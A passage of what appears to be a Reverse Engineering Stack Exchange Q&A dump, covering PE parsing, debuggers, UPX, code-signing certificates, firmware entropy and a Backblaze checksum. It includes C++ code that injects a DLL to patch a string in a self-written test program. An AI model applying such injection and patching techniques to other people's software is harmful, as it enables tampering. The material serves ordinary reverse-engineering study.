    You can see http://www.openrce.org/blog/view/1564/Kernel_debugger_vs_user_mode_exceptions for more details.

    \n" }, { "Id": "12154", "CreationDate": "2016-03-05T19:56:58.017", "Body": "

    I am trying to get the contents of the .text section of a file (notepad.exe) using the following code:

    \n\n
    #define SECHDROFFSET(a) ((LPVOID) ( (LPBYTE) a           + \\\n                    ((PIMAGE_DOS_HEADER)a)->e_lfanew + \\\n                    sizeof(IMAGE_NT_HEADERS)))\n\nPIMAGE_DOS_HEADER     pDosH;\nPIMAGE_NT_HEADERS     pNtH;\nPIMAGE_SECTION_HEADER pSecH;\n\nHANDLE hFile;\n\nDWORD  dwFileSize, dwSectionSize, dwStubSize,\n       dwVSize, dwOldProt, dwSpot, dwGap, bytes;\n\nLPBYTE FileBuffer, SectionBuffer;\nCHAR FileName[MAX_PATH];\n\nprintf(\"Input file path: \");\nscanf(\"%s\", &FileName);\n\n// open it and get the size\nhFile = CreateFileA(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);\ndwFileSize = GetFileSize(hFile, 0);\n\n// load it into memory\nFileBuffer = (LPBYTE) malloc(dwFileSize);\nReadFile(hFile, FileBuffer, dwFileSize, &bytes, 0);\n\npDosH = (PIMAGE_DOS_HEADER) FileBuffer;\n\n// basic checks\nif(pDosH->e_magic != IMAGE_DOS_SIGNATURE)\n    return -1;\n\npNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH->e_lfanew);\n\nif(pNtH->Signature != IMAGE_NT_SIGNATURE)\n    return -2;\n\npSecH = (PIMAGE_SECTION_HEADER) SECHDROFFSET(FileBuffer);\n\nwhile(memcmp(pSecH->Name, \".text\", 5)) \n    pSecH++;\n
    \n\n

    The problem is that the section names are not valid; when debugging I never see a string of type .<section_name> to take the value of pSecH->Name. They are always unprintable characters.

    \n\n

    Am I reading from the correct offset?

    \n", "Title": "Retrieving the contents of PE file sections", "Tags": "|c|pe|assembly|section|", "Answer": "

    As per the comments above, the SECHDROFFSET() macro formula is not reliable. You should instead use the macro IMAGE_FIRST_SECTION().

    \n" }, { "Id": "12164", "CreationDate": "2016-03-07T00:11:35.093", "Body": "

    Has anybody gotten Immunity Debugger to work on windows 10 yet? I downloaded it on Windows 10, launch it as administrator, and the GUI opens for about half a second and then it exits, no errors or messages. I have python installed, I reinstalled immunity multiple times, and I tried running it in Windows 7 compatibility mode. Nothing seems to work. My theory is that some dll is missing or changed. Any ideas or is it just my computer? Also, Ollydbg does work on 10, but I find Immunity debugger more useful.

    \n", "Title": "Immunity Debugger on Windows 10?", "Tags": "|debuggers|immunity-debugger|", "Answer": "

    I am running Windows 10 x64 and I had the same problem as you do. The problem is with the environment variables regarding your Python installation. I am using Python 2.7.11 which is the currently latest release for the 2.x series.

    \n\n

    So, to make Immunity Debugger work on Windows 10 modify(and ADD if necessary) the following environment variables(assuming Python is installed at C:\\Python27):

    \n\n\n\n

    The following changes made it work for me.

    \n" }, { "Id": "12172", "CreationDate": "2016-03-08T10:08:19.867", "Body": "

    I want to extract opcodes 'Assembly instructions' from malware binaries . and because I have large number of samples I don't want to do it invidiously .. instead I want to automate the process of doing that .. any suggestion ? \nI have done lots of research and I can see that I can use the IDA pro 'the GUI' for this but I am not sure if I can automate especially using the free version of IDA.\nIs there a python based tool which can do that and I don't mind to write a python script then to automate it. \nIt may be important also to mention that I am working on linux not windows.

    \n", "Title": "Extracting Opcodes of a binary", "Tags": "|malware|disassemblers|", "Answer": "

    Yes, you can automate this by running IDA Pro with the -B command line switch:

    \n\n
    \n
    -B     batch mode. IDA will generate .IDB and .ASM files automatically\n
    \n
    \n" }, { "Id": "12178", "CreationDate": "2016-03-08T17:37:41.063", "Body": "

    In my vtable i found a method that simply returns ecx.\nNow im confused as to what this tries to accomplish ? \nIs this a known useful sequence ?

    \n", "Title": "Virtual Method that returns ?", "Tags": "|ida|c++|", "Answer": "

    The C++ compiler of Visual Studio uses ecx as the default register for this pointer, a virtual method which returns ecx then actually returns this or *this. For example, you can test the following code:

    \n\n
    class A\n{\npublic:\n  virtual A getmyself() { return *this; }\n  virtual A* getmyselfpointer() { return this; }\n}\n
    \n\n

    The generated assembly code for getmyself (the same for getmyselfpointer) is

    \n\n
    getmyself:\n  mov     eax, ecx\n  retn\n
    \n\n

    This detail is not true for clang or gcc since they do not use ecx as default register for this.

    \n" }, { "Id": "12180", "CreationDate": "2016-03-09T08:13:42.540", "Body": "

    How find address of specific pool that allocated by specific tag

    \n\n

    e.g. address of pool that allocated by CM7 tag?

    \n\n

    thanks

    \n", "Title": "How find address of specific pool allocated?", "Tags": "|windows|debugging|windbg|kernel-mode|", "Answer": "

    In WinDbg, you can use the !poolfind command:

    \n\n
    \n

    The !poolfind extension finds all instances of a specific pool tag in\n either nonpaged or paged memory pools.

    \n \n

    ...

    \n\n
    kd> !poolfind SeSd 0\n\nScanning large pool allocation table for Tag: SeSd (827d1000 : 827e9000)\n\nSearching NonPaged pool (823b1000 : 82800000) for Tag: SeSd\n\n826fa130 size:   c0 previous size:   40  (Allocated) SeSd\n82712000 size:   c0 previous size:    0  (Allocated) SeSd\n82715940 size:   a0 previous size:   60  (Allocated) SeSd\n8271da30 size:   c0 previous size:   10  (Allocated) SeSd\n82721c00 size:   10 previous size:   30  (Free)      SeSd\n8272b3f0 size:   60 previous size:   30  (Allocated) SeSd\n8272d770 size:   60 previous size:   40  (Allocated) SeSd\n8272d7d0 size:   a0 previous size:   60  (Allocated) SeSd\n8272d960 size:   a0 previous size:   70  (Allocated) SeSd\n
    \n
    \n" }, { "Id": "12191", "CreationDate": "2016-03-09T18:28:02.683", "Body": "

    I'm in the process of learning the Windows API and reversing in general, so I apologize if this is a fairly dumb question.

    \n\n

    After reading a section of 'Practical Malware Analysis' discussing the Native API I decided to have a look at some of ntdll.dll's exported functions. I came across the NtLoadDriver which simply loads a specified driver from the registry.

    \n\n

    Would this driver exist in user space, or in kernel space? Is it even possible for a non kernel mode driver to exist?

    \n\n

    If it's that simple to load a driver in kernel mode (I'm assuming it's not) then why don't we see more malware in the form of drivers?

    \n\n

    Any insight or clarification would be greatly appreciated.

    \n", "Title": "Do all drivers exist in Kernel mode?", "Tags": "|windows|dll|memory|kernel-mode|", "Answer": "
    \n

    Would this driver exist in user space, or in kernel space?

    \n
    \n\n

    Kernel space.

    \n\n
    \n

    Is it even possible for a non kernel mode driver to exist?

    \n
    \n\n

    You can write a user-mode driver using the User-Mode Driver Framework, but that type of driver is effectively a user-mode service with access to some extra I/O functionality.

    \n\n

    What we typically think of as a \"driver\" is a kernel-mode driver.

    \n\n
    \n

    If it's that simple to load a driver in kernel mode (I'm assuming it's not) then why don't we see more malware in the form of drivers?

    \n
    \n\n

    The first thing that NtLoadDriver() does is check that the caller's token has SeLoadDriverPrivilege, which even administrators' tokens don't have by default.

    \n\n

    Other reasons we don't see much malware in the form of drivers:

    \n\n\n" }, { "Id": "12193", "CreationDate": "2016-03-09T20:41:39.327", "Body": "

    I use Backblaze to back up my computer. You restore files from your backups by selecting files to restore, which are then packed into large zip files. Of course, it's fairly rare to be able to download a 500GB zip file without a connection interruption, so a sane developer would implement support for the HTTP Range header to allow users to resume downloads.

    \n\n

    They have not done so. Instead, they have a boutique download utility that specifies the requested byte ranges by emulating a POSTed HTML form. This utility does all the stuff you'd expect a normal download manager to do, like downloading with multiple connections at a time and resuming partially completed downloads, but due to some dodgy design issues (like opening a fully-fledged process, not a thread, for each 40MB block) it is rather inefficient on fast (>100 Mbps) connections. It also is Windows-exclusive.

    \n\n

    I'm trying to write an open source replacement in Node.js that removes some of the suck, but I'm up against a roadblock: one of the fields the utility sends in its POST requests is called \"bzsanity\" and is a 16-bit checksum over the account email address. Unfortunately, I can't figure out what the algorithm is. Maybe I'm just dumb, but I'm hoping you guys can help me out.

    \n\n

    Here are some checksum values:

    \n\n\n\n

    If you want more test vectors, I can probably deliver. I've tried adding the bytes in an accumulator and a few variants of CRC-16, and those approaches don't work.

    \n", "Title": "Backblaze 16-bit checksum (\"bzsanity\")", "Tags": "|crc|", "Answer": "

    As CTO and founder of Backblaze, I wrote the original source code of the Backblaze client, and Jason Geffner above is correct. That is:

    \n\n
      \n
    1. hexencode the email address (all lowercase, email addresses are not case sensitive)
      2. \n
    2. take the sha1 - the result should be a 40 byte human readable all lowercase string
      3. \n
    3. if the sha1 characters have \"zero\" for the index of the very initial character, then take the characters at index 1, 3, 5, and 7.
      4. \n
    \n\n

    -- BrianW

    \n" }, { "Id": "12194", "CreationDate": "2016-03-09T21:31:23.167", "Body": "

    I use IDA Pro 6.8.150428 (idaq64.exe) to disassemble system dlls (64 bit) e.g. ntdll.dll, kernel32.dll, etc. in Windows 10 64 bit. I found idaq64.exe correctly disassembling 64 bit sample applications (.exe) but generating incorrect dis-assembly for the dlls e.g. shows 32 bit register operands, etc. I checked the IDA Pro dis-assembly output with WinDbg (runtime) and Intel XED (static) output. While Windbg and XED outputs are consistent with each other, they are completely different than that of IDA Pro.

    \n\n

    Runtime disassembly in WinDbg @00007ffda61c12e0

    \n\n
    00007ffda61c12db      call    ntdll!NtQueryPerformanceCounter (00007ffda6213b30)\n00007ffda61c12e0      mov     eax,dword ptr [rsp+30h]\n00007ffda61c12e4      mov     rsi,qword ptr [rsp+40h]\n00007ffda61c12e9      shl     rax,20h\n00007ffda61c12ed      xor     rax,qword ptr [rsp+30h]\n00007ffda61c12f2      xor     rax,rbx\n00007ffda61c12f5      mov     rbx,qword ptr [rsp+38h]\n00007ffda61c12fa      xor     rax,rdi\n00007ffda61c12fd      add     rsp,20h\n00007ffda61c1301      pop     rdi\n00007ffda61c1302      ret\n
    \n\n

    The static address in the ntdll.dll binary corresponding to the runtime address mentioned above (7ffda61c12e0) is 4b2c12e0. I even don't see the address in ntdll.dll dis-assembly in IDA Pro. It shows:

    \n\n
    .text:4B2C12DF                 test    eax, eax\n.text:4B2C12E1                 js      loc_4B30C906\n.text:4B2C12E7                 mov     [esp+278h+var_255], 1\n.text:4B2C12EC\n.text:4B2C12EC loc_4B2C12EC:                           ; CODE XREF: LdrpPreprocessDllName(x,x,x,x)+4B66Bj\n.text:4B2C12EC                 mov     ecx, [esp+278h+var_254]\n.text:4B2C12F0                 xor     ebx, ebx\n.text:4B2C12F2                 xor     dl, dl\n.text:4B2C12F4                 mov     [esp+278h+var_264], ebx\n.text:4B2C12F8                 mov     [esp+278h+var_25D], dl\n.text:4B2C12FC                 test    byte ptr [ecx], 8\n.text:4B2C12FF                 jnz     loc_4B2C160B\n.text:4B2C1305                 mov     edi, [esp+278h+var_25C]\n.text:4B2C1309                 xor     al, al\n.text:4B2C130B                 mov     ecx, large fs:30h\n .text:4B2C1312                 mov     [esp+278h+var_244], edi\n
    \n\n

    Apparently, IDA Pro is disassembling the dll incorrectly. How can I make IDA Pro correctly disassemble 64 bit dlls?

    \n", "Title": "IDA Pro 64 bit disassembly error for system DLLs", "Tags": "|ida|disassembly|dll|", "Answer": "

    On 64-bit Windows, any 32-bit process trying to access C:\\Windows\\system32 is transparently redirected to C:\\Windows\\SysWOW64.

    \n\n

    Since IDA (Both idaq.exe and idaq64.exe) are 32-bit processes, you are actually opening C:\\Windows\\SysWOW64\\ntdll.dll (which is a 32-bit file) instead of C:\\Windows\\system32\\ntdll.dll.

    \n\n

    To open the correct file, copy it from C:\\Windows\\system32 to a different directory, and open it from there.

    \n" }, { "Id": "12197", "CreationDate": "2016-03-10T07:24:30.047", "Body": "

    Ollydbg gives default output in which assembly language instructions in Intel or AT&T syntax ?

    \n\n

    Is there an option to change the assembly language syntax ?

    \n", "Title": "Ollydbg gives output in which assembly language instructions in Intel or AT&T syntax?", "Tags": "|disassembly|ollydbg|", "Answer": "

    The default output is in Intel syntax. Precisely, Ollydbg 1.10 uses MASM, IDEAL or HLA syntax which are both based on Intel syntax. AT&T syntax is not available in version 1.10 but it is available in version 2.0

    \n\n

    For Ollydbg 1.10 you can choose between MASM, IDEAL or HLA in Options -> Debugging Options -> Disasm.

    \n\n

    For Ollydbg 2.00 you can choose between the AT&T syntax and the mentioned above in Options -> Options -> Code (Code options)

    \n" }, { "Id": "12208", "CreationDate": "2016-03-13T11:26:09.390", "Body": "

    What is the Radare2 equivalent of going to the import table in ida, hitting enter on a function and then pressing ctrl+x?

    \n\n

    When I use axt, it can only find xrefs to strings.

    \n", "Title": "Radare2 find xrefs to a function in the import table", "Tags": "|radare2|", "Answer": "

    After some researching.

    \n\n

    I ran aaa and now you can use axt @ sym.imp.[dll].[function]

    \n" }, { "Id": "12211", "CreationDate": "2016-03-14T16:27:52.797", "Body": "

    To what kind of compression algorithm could the following sentences belong to?

    \n\n
    AxFWR:YRCtIPns<_o%p_=Q>LELBM\nAxFWRPA:cXe#<InM=L:Mthwekblc\nAxFWREFEp`f?PU`;K;M:;P?MDMCL\nAxFWRW%VK>Hk]hhDTSERSHWEKBLC\nAxFWRiQifLRCE@t>N<J=<L;QHQGP\nAxFWRTWTArlZ[fJhxbtcbrewax%y\n
    \n\n

    I don't think that it is any kind of hash but rather a simpler algorithm. I tried Base64, but I am sure that it is not.

    \n\n

    Also I know that fragments of the \"plain text\" of every of these strings probably include (in order) :

    \n\n
    4B3A29\n4609\nN00852\nA00\n
    \n\n

    Just to give you an example it could look like:\n 4B3A29 ... 4609532N 00852444E A00 ...

    \n", "Title": "What compression algorithm could have generated these strings?", "Tags": "|decompress|strings|", "Answer": "

    As stated by @ashleydc, it's most likely custom Base64.If you have enough ciphertexts, an easy way to check if it's custom Base64 would be to compute the number of unique characters. (there are 56 unique chars with the few given examples, so it's a fair bet).

    \n\n

    After that, it's \"just\" a substitution cipher. Having a plaintext/ciphertext couple would tremendously help. Otherwise, if the plaintext has enough constraints (only digits/uppercase as you might hint?), you'll have to guess enough about the plaintext (most propable tuples, etc) until you're able to bruteforce it.

    \n" }, { "Id": "12215", "CreationDate": "2016-03-15T13:43:14.807", "Body": "

    Is it a safe assumption, say for x86, that an instruction either does not access memory, or only reads from memory, or writes to memory?

    \n\n

    I could not find any instruction but I am not sure if this really is the case.

    \n\n

    What about ARM and MIPS?

    \n", "Title": "Are there assembly instructions which both read from, and write to, memory?", "Tags": "|assembly|x86|arm|memory|mips|", "Answer": "

    Your question has been answered in comments for x86 - movsb both reads and writes to memory.

    \n\n

    On ARM the only instructions that touch memory is \"read from memory to a register\" and \"write a register to memory\", so no there aren't. Same with MIPS.

    \n\n

    IIRC all (or almost all?) RISC processors are this \"load and store\" architecture.

    \n" }, { "Id": "12240", "CreationDate": "2016-03-17T14:11:06.630", "Body": "

    Say i have Windows executable that looks like normal one, but actually has encrypted segments or blocks of code, and the way it calculates key to decrypt itself at run-time way hard for me.

    \n\n

    I'd like to try create a decrypted version of that program by stripping out \"self-decryptor part\" and exporting program as it was at run-time (under debug). I am not looking for way to find & remove decryption-related code.

    \n\n

    Having IDA Pro (or other tools), how can i re-save executable file at run-time (after program decrypted itself), or i am thinking in completely wrong direction and should not try doing it?

    \n\n

    I've read this answer and question but i am wondering if i really cannot just re-save executable at runtime and try to make it \"runnable\"? Is this possible?

    \n", "Title": "Create unprotected executable for program that decrypts itself at run-time dynamically?", "Tags": "|ida|windows|x86|pe|decryption|", "Answer": "

    If you are dealing with a packed/crypted executable it is not possible to just dump the file from memory and make it \"runnable\". You need to do at least two things:

    \n\n\n\n

    To do these two things, you need to have some basic understanding about the PE file format. You can find some useful links about the PE file format in this answer.

    \n\n

    If you know what type of crypter/packer is being used on the file, feel free to upload the sample or tell me so I can maybe give you some guidelines on obtaining the payload. You can check this with a tool like PEid or ExeInfo.

    \n" }, { "Id": "12243", "CreationDate": "2016-03-17T19:24:38.157", "Body": "

    If I pack an executable using UPX and then unpack the executable using UPX -d, the executables are not the same. I understand techniques for unpacking executables that are packed using UPX, but I was wondering - what happens to the executable during packing/unpacking? How does this affect the preservation of information inside the executable? (For example, if I compile C code and then decompile it I'll have lost a lot of variable name information.)

    \n\n

    EDIT: I've verified that after UPX packing/repacking the binary is not the same. The state machine looks something like:

    \n\n

    #1 (Original) ----UPX Pack----> #2 (Packed)

    \n\n

    #2 (Packed) -----UPX Unpack----> #3 (Unpacked)

    \n\n

    #3 (Unpacked) -----UPX Pack-----> #4 (Repacked)

    \n\n

    #4 (Repacked) -----UPX Unpack----> #3 (Unpacked)

    \n\n

    Where #1, #2, #3, and #4 all have different hashes.

    \n", "Title": "UPX packing/unpacking information preservation", "Tags": "|unpacking|upx|", "Answer": "

    If you compare the hash values of original/unpacked files, then they are different since upx -d does not restore bit-by-bit of the original file. Indeed, UPX parses the original file and keeps only information so that the packed data, after being unpacked, can be executed exactly the same as the original one, i.e. the original/unpacked files are semantically equivalent but not physically equivalent^^.

    \n\n

    That is understandable since there is information that not affect to the execution of the binary, a trivial instance is the data between the end of DOS stub and the begin of PE header. For more detail, you may refer to the function pack of the class, for example, PackW32Pe (in p_w32pe.h/cpp) for PE and the function unpack of the class Packer (in packer.h/cpp).

    \n\n

    For example, we can see that UPX modifies the (DOS and PE) header of the unpacked file using the following code (I have renamed some variables for more comprehensible). First, it decompresses and extracts the header:

    \n\n
    // decompress\ndecompress(input_buffer, output_buffer);\nupx_byte *extrainfo = output_buffer + get_le32(output_buffer + ph.u_len - 4);\n\nmemcpy(&output_header, extrainfo, sizeof (output_header));\n
    \n\n

    then modifies slightly the header:

    \n\n
    ...\noutput_header.headersize = rvamin;\noutput_header.chksum = 0;\n\n//NEW: disable reloc stripping if ASLR is enabled\nif(input_header.dllflags & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE)\n    opt->win32_pe.strip_relocs = false;\n\n// FIXME: ih.flags is checked here because of a bug in UPX 0.92\nif ((opt->win32_pe.strip_relocs && !isdll) || (input_header.flags & RELOCS_STRIPPED))\n{\n  output_header.flags |= RELOCS_STRIPPED;\n  ODADDR(PEDIR_RELOC) = 0;\n  ODSIZE(PEDIR_RELOC) = 0;\n}\n\n// write decompressed file\nif (output_file)\n{\n...\n
    \n" }, { "Id": "12246", "CreationDate": "2016-03-18T12:44:37.363", "Body": "

    While analyzing/studying/RE exe's/dll's you see the certificates in peview/hexeditor etc. but how does one come to know that the certificate is a fake/malicious/expired one, there has to be a central repository of all the good or bad certificates,one which I know of is HerdProtect[.]com which tells you if the company/developer is known to distribute malware.

    \n\n

    Plus, I have read that people steal code signing certificates from companies and use them to sign their malware, my question is while reversing what strings should I look for in Olly/IDA ,I'm guessing the malware will be enumerating using FindFirstFile, FindNextFile etc. for a specific file(certificate file) in the system what string do such malware look for, \"OR HAVE I GOT IT WRONG\".

    \n\n

    Also many exe's are signed twice why so?Is it to fool security vendors or is it normal to sign with multiple certificates.

    \n", "Title": "How do malware steal Code signing certificates?", "Tags": "|windows|malware|", "Answer": "

    For an executable with a digital certificate, it's easy enough to check for the certificate's information and origin by looking at the executable's properties. For example, here's what is shown for Skype:

    \n\n

    \"enter

    \n\n

    These certificates are issued to a developer from a trusted Certification Authority (CA) and are used to sign the executable before distributing it. In theory, the CA should fully verify the identity of the developer applying for a certificate before issuing one, but in practice a CA is still a system involving imperfect entities and it's possible for a malware author to apply for and receive a \"good\" certificate from a trusted CA while never producing anything but malware.

    \n\n

    If you refer back to the first image of the Skype certificates and select \"Details\", you'll be able to get more information about the certificate and its origin:

    \n\n

    \"enter

    \n\n

    In this image, we can see exactly who the certificate was issued to and who issued it, along with relevant issue date and expiration information. This is a direct download from the official Skype site, so I can be pretty confident that the software was made by who it says. Likewise, the certificate was issued by the Microsoft Code Signing PCA, so we can be at least reasonably confident that the certificate is trustworthy. If you look at the \"Certification Path\" tab, you can trace the certificate all the way back to the root CA and again verify that everything looks as it should.

    \n\n

    Determining whether or not the certificate is malicious or stolen can be difficult to detect, but is somewhat a matter of common sense. Does your certificate claim to be issued to a legitimate publisher (e.g., Microsoft) but you know that the software you downloaded is not from them? Something may be amiss. You can also look at the issuing CA and try to find information online about their reputation. Does the CA do a bad job of screening out people who distribute malware? Do they have a reputation for poor information security? If the issuer seems sketchy, then they very well may be. Relying on the reputation of CAs is a known vulnerability.

    \n\n

    Now, as to your second question: the certificate consists of a private/public key pair, with the private key kept private (of course) and the public key distributed with the application. Using a code signing tool, a developer generates a hash of the executable and encrypts it with the private key. This hash is distributed with the public key portion of the certificate in the executable. On the user's end, a new hash of the executable is taken and decrypted with the public key to verify its integrity. This means that executables that have been modified after having been signed won't have a valid certificate and you should get a warning when trying to install or run them. If you want to see a list of certificates on your system (both trusted and untrusted), open up a command prompt window and run certmgr

    \n\n

    Note that in order for a legitimate certificate to be \"stolen\" and malware to sign itself with it, it would need access to the private key. If the private key is exposed (like what happened to Dell several years ago...) then it is possible for a malware author to sign their software as if they were the developer to whom the certificate was issued. If this private key is kept private, then it should theoretically be safe. I think the answer to your second question is that you're a bit confused as to how code signing works, but if you did manage to come across a bit of malware that was attempting to generate signed code, I would keep an eye out for sections of code attempting to launch a signtool instance, loading a .pfx or other private key file, etc.

    \n\n

    I am not an expert on code signing or certification authorities, so it's possible that there are cases where malware generates self-signed certificates, messes with root CAs on the system, etc., but someone more experienced than me would have to weigh in on that...

    \n\n

    As for the dual-signing in your third question, it would be helpful to see an example of what you're talking about, but I did find that Skype is signed with two certificates. The primary difference between the two is the digest algorithm, with one being sha1 and the other sha256. This is likely a mechanism to deal with legacy users who have an operating system for which sha256 is not currently supported and require the older (and deprecated) sha1 digest algorithm. (see: https://security.stackexchange.com/questions/109629/deprecation-of-sha1-code-signing-certificates-on-windows)

    \n\n

    For a more in-depth look at code signing and certification authorities, feel free to check out this MSDN article.

    \n" }, { "Id": "12254", "CreationDate": "2016-03-19T14:54:12.247", "Body": "

    I'm trying to reverse engineering a simple program (learning purpose) using IDA and I got stuck on this instruction:

    \n\n
    mov    dl, byte_404580[eax]\n
    \n\n

    This instruction stores in the first 8 bit of EDX a value derived from EAX and byte_404580 but I don't know how it is actually computed.

    \n\n

    Looking at byte_404580 is stored the hex value 69h:

    \n\n
    .data:00404580 byte_404580     db 69h\n
    \n\n

    Is it the same of [eax+69h] or not?

    \n", "Title": "What does mov from hex[eax] mean?", "Tags": "|ida|disassembly|", "Answer": "

    (Copying the comments of Extreme Coders so the question can be marked as answered.)

    \n\n

    It is similar to array notation.The instruction fetches the byte at an offset of eax from byte_404580.

    \n\n

    Related question : https://stackoverflow.com/questions/12148010/understanding-x86-mov-syntax

    \n" }, { "Id": "12258", "CreationDate": "2016-03-20T04:02:57.953", "Body": "

    When reversing a ARM firmware using IDA Pro, I find a instruction:

    \n\n

    ROM:080461FC 0F F2 24 30 ADR.W R0, aBt_test_mode ; \"BT_TEST_MODE\"

    \n\n

    ...

    \n\n

    ROM:08046524 aBt_test_mode DCB \"BT_TEST_MODE\",0

    \n\n

    ...

    \n\n

    I know this is a Thumb-2 instruction.\n\"enter\nimm8=0010 0100

    \n\n

    Rd=0000

    \n\n

    imm3=011

    \n\n

    but I don't know how to calculate imm32. (imm32 = ZeroExtend(i:imm3:imm8, 32))\nand how to calculate the 08046524?

    \n", "Title": "The questions about ADR.W instruction", "Tags": "|arm|thumb2|", "Answer": "

    As you say, you have -

    \n\n

    imm8 = 0010 0100

    \n\n

    imm3 = 011

    \n\n

    but you also have

    \n\n

    i = 0

    \n\n

    then

    \n\n

    imm32 = ZeroExtend(i:imm3:imm8,32) =>

    \n\n

    imm32 = ZeroExtend(0:011:00100100,32) =>

    \n\n

    imm32 = ZeroExtend(001100100100,32) =>

    \n\n

    imm32 = 00000000000000000000001100100100 = 0x00000324

    \n\n

    The ADR instruction description explains that \"This instruction adds an immediate value to the PC value to form a PC-relative address, and writes the result to the\ndestination register.\"

    \n\n

    As you are in Thumb mode, the value of PC is equal to the (4 byte aligned) address of the instruction + 4 bytes. \nIn your case the instruction is at address 0x080461FC so PC = 0x080461FC + 4 = 0x08046200

    \n\n

    The address calculation is then -

    \n\n

    PC + imm32 = 0x08046200 + 0x00000324 = 0x08046524

    \n\n

    This is what you see in IDA's disassembly.

    \n\n

    If you look in the 'Operation' section of the ADR instruction in the ARM architecture reference manual you can see this explained.

    \n" }, { "Id": "12267", "CreationDate": "2016-03-22T00:42:53.800", "Body": "

    I'm trying to extract the firmware from my set-top box (STB) because I realized its port 22 is open and running dropbear, and I'd like to login to it. Well, because it's there. I've tried binwalk, but that's coming up blank:

    \n\n
    $ binwalk apollo_fw4_full_p_1.1.32_nand.bin \n\nDECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n\n$ \n
    \n\n

    Likewise Firmware Mod Kit fails:

    \n\n
    $ ./extract-firmware.sh ../apollo_fw4_full_p_1.1.32_nand.bin \nFirmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake\n\nPreparing tools ...\nScanning firmware...\n\nScan Time:     2016-03-21 15:05:55\nSignatures:    193\nTarget File:   /home/ob1/apollo_fw4_full_p_1.1.32_nand.bin\nMD5 Checksum:  b100590cbe030628d97e6d39c6f7fde8\n\nDECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n\nExtracting 0 bytes of  header image at offset 0\nERROR: No supported file system found! Aborting...\n
    \n\n

    Does the \"nand\" in the filename mean anything?\nIs it encrypted possibly?

    \n\n

    Here is a link to the file for those interested: https://docs.google.com/uc?id=0B9QI-CmVjKHdekdOOU5EWk9rbTQ&export=download

    \n\n

    I've scoured for answers and have found none, so I appreciate your input.

    \n", "Title": "Firmware extraction problems - binwalk is blank", "Tags": "|firmware|", "Answer": "

    The firmware image is likely to be encrypted.

    \n

    \"Entropy

    \n

    Entropy scan reveals that it is mostly comprised of random bytes which happens if the firmware is compressed and/or encrypted. Since the binary lacks common compression magic signatures, it is most likely to be encrypted.

    \n

    To decrypt the firmware you need to obtain more information about the product that uses this firmware. You can refer to this blog post for some ideas.

    \n

    As you say port 22 is open running a FTP service you can try connecting to it with default user/pass combos. You can try finding other open ports via nmap.

    \n" }, { "Id": "12268", "CreationDate": "2016-03-22T01:44:18.257", "Body": "

    I'm a novice when it comes to RE but I'm trying to get into it. I have a background in C/C++ so doing the development side of things should be a breeze (aside from when assembly has to be used, im rusty there). I just need to be pointed in the right direction with RE things and will be able to pick things up from there.

    \n\n

    I wrote a simple CLI program (HackMe.exe) to practice RE with, using OllyDbg. It just has a string(\"change me\") which I'm attempting to change (patch?) via a DLL.

    \n\n

    Here's the CLI prog source

    \n\n
    #include <iostream>\n#include <string>\n#include <Windows.h>\n\nint main(int argc, char** argv) {\n    char* change_me = \"change me\";\n\n    while(true) {\n        std::cout << change_me << std::endl;\n        Sleep(3000);\n    }\n\n    return 0;\n}\n
    \n\n

    and the DLL source so far which is bare bone

    \n\n
    #include <Windows.h>\n#include <fstream>\n#include <iostream>\n\nVOID attach();\n\nBOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {\n\n    switch(reason) {\n        case DLL_PROCESS_ATTACH: {\n            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&attach, 0, 0, 0);\n            break;\n        }\n    }\n\n    return TRUE;\n}\n\nVOID attach() {\n    // patching code will go here\n}\n
    \n\n

    So far what I've done is

    \n\n\n\n

    Following the the string brought me to where the string was found

    \n\n

    \"enter

    \n\n

    So correct me if I'm wrong or not including something but I believe I need to

    \n\n\n\n

    So i guess my questions are

    \n\n
      \n
    1. How do I find the base offset of process (I assume I can do in the DLL using something like GetModuleHandle(\"HackMe.exe\"))?
      2. \n
    2. Is there a way to see the base offset in OllyDbg (not that useful I suppose since the base will more than likely change every time the exe is ran)?
      3. \n
    3. How do I find the +offset of the string from the base?
      4. \n
    \n\n

    Working end result

    \n\n
    #include <Windows.h>\n\nVOID attach();\n\nBOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {\n\n    switch(reason) {\n        case DLL_PROCESS_ATTACH: {\n            attach();\n            break;\n        }\n    }\n\n    return TRUE;\n}\n\nVOID attach() {\n\n    DWORD old;\n    DWORD base   = (DWORD)GetModuleHandle(NULL);\n    DWORD offset = 0x01CC80;\n\n    char* ptr = reinterpret_cast<char*>(base + offset);\n    const size_t length   = 10;\n    char buffer[ length ] = \"changed:)\";\n\n    VirtualProtect(ptr, length, PAGE_EXECUTE_READWRITE, &old);\n    memcpy(ptr, buffer, length);\n    VirtualProtect(ptr, length, old, nullptr);\n}\n
    \n", "Title": "Patching a string using DLL injection and OllyDbg", "Tags": "|ollydbg|c++|memory|dll-injection|", "Answer": "
    \n
      \n
    1. How do I find the base offset of process (I assume I can do in the DLL using something like GetModuleHandle(\"HackMe.exe\"))?
      2. \n
    \n
    \n\n

    A process doesn't have a base offset; I believe you mean the base address of the primary module. To get that address, you would use GetModuleHandle(NULL).

    \n\n
    \n
      \n
    1. Is there a way to see the base offset in OllyDbg (not that useful I suppose since the base will more than likely change every time the exe\n is ran)?
      2. \n
    \n
    \n\n

    Alt+E will show you the base address of each loaded module.

    \n\n
    \n
      \n
    1. How do I find the +offset of the string from the base?
      2. \n
    \n
    \n\n

    There are countless ways to do it, but an easy way is to use a tool like IDA or BinText to find the string's virtual address, and then subtract from that the default base address of HackMe.exe.

    \n" }, { "Id": "12271", "CreationDate": "2016-03-22T07:59:26.733", "Body": "

    I loaded a shared library (I don't know the source of that) and made a header for that with IDA.

    \n\n

    Is this

    \n\n
    class Tester {\n    public:\n    virtual void test();\n    virtual void replay();\n};\n
    \n\n

    different from this?

    \n\n
    class Tester {\n    public:\n    virtual void replay();\n    virtual void test();\n};\n
    \n", "Title": "Do I have to consider virtual function declaration order?", "Tags": "|ida|vtables|", "Answer": "

    Since I do not think the order of virtual functions in source could affect their order in machine code, I try to give a counter example. The main idea is first to give a layout for the vtable of a base class

    \n\n
